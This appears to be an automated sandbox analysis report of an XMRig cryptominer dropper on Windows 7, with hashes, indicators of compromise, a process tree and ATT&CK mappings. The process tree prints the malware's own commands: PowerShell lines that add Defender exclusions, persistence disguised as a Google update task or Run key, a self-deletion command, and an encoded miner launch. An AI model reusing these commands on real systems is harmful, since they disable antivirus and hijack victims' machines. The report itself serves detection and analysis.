xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
413s
max time network
1805s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2932 created 1244	2932	6aNn9vLJCQVfagSE.exe	16
PID 2932 created 1244	2932	6aNn9vLJCQVfagSE.exe	16
PID 2932 created 1244	2932	6aNn9vLJCQVfagSE.exe	16
PID 2932 created 1244	2932	6aNn9vLJCQVfagSE.exe	16
PID 3032 created 1244	3032	updater.exe	16
PID 3032 created 1244	3032	updater.exe	16
PID 3032 created 1244	3032	updater.exe	16
PID 700 created 1244	700	conhost.exe	16
PID 3032 created 1244	3032	updater.exe	16
PID 3032 created 1244	3032	updater.exe	16

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral3/memory/2804-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral3/memory/2804-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2432	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3032	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2600	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/memory/2804-64-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral3/memory/2804-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3032 set thread context of 700	3032	updater.exe	48
PID 3032 set thread context of 2804	3032	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	6aNn9vLJCQVfagSE.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2940	schtasks.exe
472	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
288	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80f50a822f51da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2932	6aNn9vLJCQVfagSE.exe
2932	6aNn9vLJCQVfagSE.exe
2972	powershell.exe
2932	6aNn9vLJCQVfagSE.exe
2932	6aNn9vLJCQVfagSE.exe
2400	powershell.exe
2932	6aNn9vLJCQVfagSE.exe
2932	6aNn9vLJCQVfagSE.exe
2932	6aNn9vLJCQVfagSE.exe
2932	6aNn9vLJCQVfagSE.exe
2836	powershell.exe
3032	updater.exe
3032	updater.exe
2472	powershell.exe
3032	updater.exe
3032	updater.exe
2004	powershell.exe
3032	updater.exe
3032	updater.exe
700	conhost.exe
700	conhost.exe
3032	updater.exe
3032	updater.exe
3032	updater.exe
3032	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	2400	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	3032	updater.exe
Token: SeAssignPrimaryTokenPrivilege	288	WMIC.exe
Token: SeIncreaseQuotaPrivilege	288	WMIC.exe
Token: SeSecurityPrivilege	288	WMIC.exe
Token: SeTakeOwnershipPrivilege	288	WMIC.exe
Token: SeLoadDriverPrivilege	288	WMIC.exe
Token: SeSystemtimePrivilege	288	WMIC.exe
Token: SeBackupPrivilege	288	WMIC.exe
Token: SeRestorePrivilege	288	WMIC.exe
Token: SeShutdownPrivilege	288	WMIC.exe
Token: SeSystemEnvironmentPrivilege	288	WMIC.exe
Token: SeUndockPrivilege	288	WMIC.exe
Token: SeManageVolumePrivilege	288	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	288	WMIC.exe
Token: SeIncreaseQuotaPrivilege	288	WMIC.exe
Token: SeSecurityPrivilege	288	WMIC.exe
Token: SeTakeOwnershipPrivilege	288	WMIC.exe
Token: SeLoadDriverPrivilege	288	WMIC.exe
Token: SeSystemtimePrivilege	288	WMIC.exe
Token: SeBackupPrivilege	288	WMIC.exe
Token: SeRestorePrivilege	288	WMIC.exe
Token: SeShutdownPrivilege	288	WMIC.exe
Token: SeSystemEnvironmentPrivilege	288	WMIC.exe
Token: SeUndockPrivilege	288	WMIC.exe
Token: SeManageVolumePrivilege	288	WMIC.exe
Token: SeLockMemoryPrivilege	2804	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2400 wrote to memory of 2940	2400	powershell.exe	32
PID 2400 wrote to memory of 2940	2400	powershell.exe	32
PID 2400 wrote to memory of 2940	2400	powershell.exe	32
PID 2432 wrote to memory of 2780	2432	cmd.exe	37
PID 2432 wrote to memory of 2780	2432	cmd.exe	37
PID 2432 wrote to memory of 2780	2432	cmd.exe	37
PID 2836 wrote to memory of 2576	2836	powershell.exe	38
PID 2836 wrote to memory of 2576	2836	powershell.exe	38
PID 2836 wrote to memory of 2576	2836	powershell.exe	38
PID 2600 wrote to memory of 3032	2600	taskeng.exe	40
PID 2600 wrote to memory of 3032	2600	taskeng.exe	40
PID 2600 wrote to memory of 3032	2600	taskeng.exe	40
PID 2004 wrote to memory of 472	2004	powershell.exe	46
PID 2004 wrote to memory of 472	2004	powershell.exe	46
PID 2004 wrote to memory of 472	2004	powershell.exe	46
PID 3032 wrote to memory of 700	3032	updater.exe	48
PID 1640 wrote to memory of 288	1640	cmd.exe	53
PID 1640 wrote to memory of 288	1640	cmd.exe	53
PID 1640 wrote to memory of 288	1640	cmd.exe	53
PID 3032 wrote to memory of 2804	3032	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1244
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2940
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:472
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:700
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:288
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1676
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2804

C:\Windows\system32\taskeng.exe
taskeng.exe {C24664D2-B483-4F86-80A2-B1FDAB9AB806} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2600
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
98KB

MD5
a4a5e4b22c1295fa04deb4e0fa607938

SHA1
7287bb410f28ee3777838ac3dfccfa06e4bb2b8d

SHA256
eac475b41eef70c1b1a297c4ca2514f364731b395f259b30f68ed96755ee680e

SHA512
2434079d869784903035b254fb170d5ac128cf8f5c3d20c0b6c2feb10817213cf075c13107153075354cbddcfa105da873720e76b34b1e3f487957349d86d302

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4317a04cd25874edbe880db8d19cef3c

SHA1
2f66a2a3c6468966fdbd096de624a4c6ac174150

SHA256
6052d2953384c754a80107706e366956591f82427b8222de84bab25ed5d40d18

SHA512
e630ab5434d291469921f01b97443fad9dbcec2ebeda4234b2c3f0da9d0243e0e568a3f477fa7a6fd5c1e66184620d58356266ebc5c2c747d087021280adabda

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
195KB

MD5
715416dc5f4942330787f437468b32a6

SHA1
8b7b664069a81e87f887bfc4e803218162ef7327

SHA256
3afda9fb75b8fdf11e6f52302cce5b39f2ccdccccc1f17610968057df4fb9f0d

SHA512
fe39512b142170148a081b9c6c82c2938dc7781bd1b55fe622e86eb326878362a521941b722a0e1952b1cf6825ffceafddf2d93d2d8d4ec0a356990082fccd81

Download Submit
memory/700-76-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/700-72-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2004-54-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2004-56-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2004-57-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2004-60-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2004-59-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2004-58-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2004-55-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2400-27-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-22-0x0000000002300000-0x0000000002380000-memory.dmp

Filesize
512KB

Download
memory/2400-25-0x0000000002300000-0x0000000002380000-memory.dmp

Filesize
512KB

Download
memory/2400-26-0x0000000002300000-0x0000000002380000-memory.dmp

Filesize
512KB

Download
memory/2400-23-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-20-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2400-21-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2400-24-0x0000000002300000-0x0000000002380000-memory.dmp

Filesize
512KB

Download
memory/2400-19-0x000000001B140000-0x000000001B422000-memory.dmp

Filesize
2.9MB

Download
memory/2472-53-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2472-51-0x0000000001130000-0x00000000011B0000-memory.dmp

Filesize
512KB

Download
memory/2472-49-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2472-48-0x0000000001130000-0x00000000011B0000-memory.dmp

Filesize
512KB

Download
memory/2472-50-0x0000000001130000-0x00000000011B0000-memory.dmp

Filesize
512KB

Download
memory/2472-52-0x0000000001130000-0x00000000011B0000-memory.dmp

Filesize
512KB

Download
memory/2472-47-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/2804-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-64-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-65-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2804-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-71-0x0000000000830000-0x0000000000850000-memory.dmp

Filesize
128KB

Download
memory/2804-70-0x00000000001F0000-0x0000000000210000-memory.dmp

Filesize
128KB

Download
memory/2804-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-77-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-80-0x0000000000830000-0x0000000000850000-memory.dmp

Filesize
128KB

Download
memory/2804-79-0x00000000001F0000-0x0000000000210000-memory.dmp

Filesize
128KB

Download
memory/2804-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2804-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
